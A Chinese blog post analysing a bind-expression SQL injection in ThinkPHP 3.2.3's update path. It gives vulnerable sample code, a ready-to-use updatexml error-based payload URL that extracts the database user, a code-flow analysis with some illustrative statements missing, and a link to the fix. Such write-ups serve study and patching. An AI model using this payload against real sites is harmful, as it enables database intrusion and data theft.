Thinkphp 3.2.3 bind注入 update/insert

漏洞代码:

public function test01()
{
$User = M("user");
$user['id'] = I('id');
$data['password'] = I('password');
$value = $User->where($user)->save($data);
var_dump($value);
}

payload:http://tp32.com/index.php/home/index/test01?id[0]=bind&id[1]=0%20and%20(updatexml(1,concat(0x7e,user(),0x7e),1))&pwd=bbb

漏洞分析:

老样子先进入where方法中进行参数构造

然后进入 save 方法中 _parseOptions 进行字段验证

然后重点 出来了之后 进入到 update 方法中

先是进行参数绑定

然后进行 parseWhere

再进入 parseWhereItem where子单元分析

其中到来 bind表达式的处理分支,拼接=:

此时的语句为如下

出来之后 继续进入到 execute 方法中,重点来了

虽然上面bind表达式进行了拼接=:,但是这个strtr函数会进行处理,最后语句成为如下

修复:

https://github.com/top-think/thinkphp/commit/7e47e34af72996497c90c20bcfa3b2e1cedd7fa4

参考文章:https://y4er.com/post/thinkphp3-vuln/

posted @   zpchcbd  阅读(1491)  评论(0编辑  收藏  举报
编辑推荐:
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
点击右上角即可分享
微信分享提示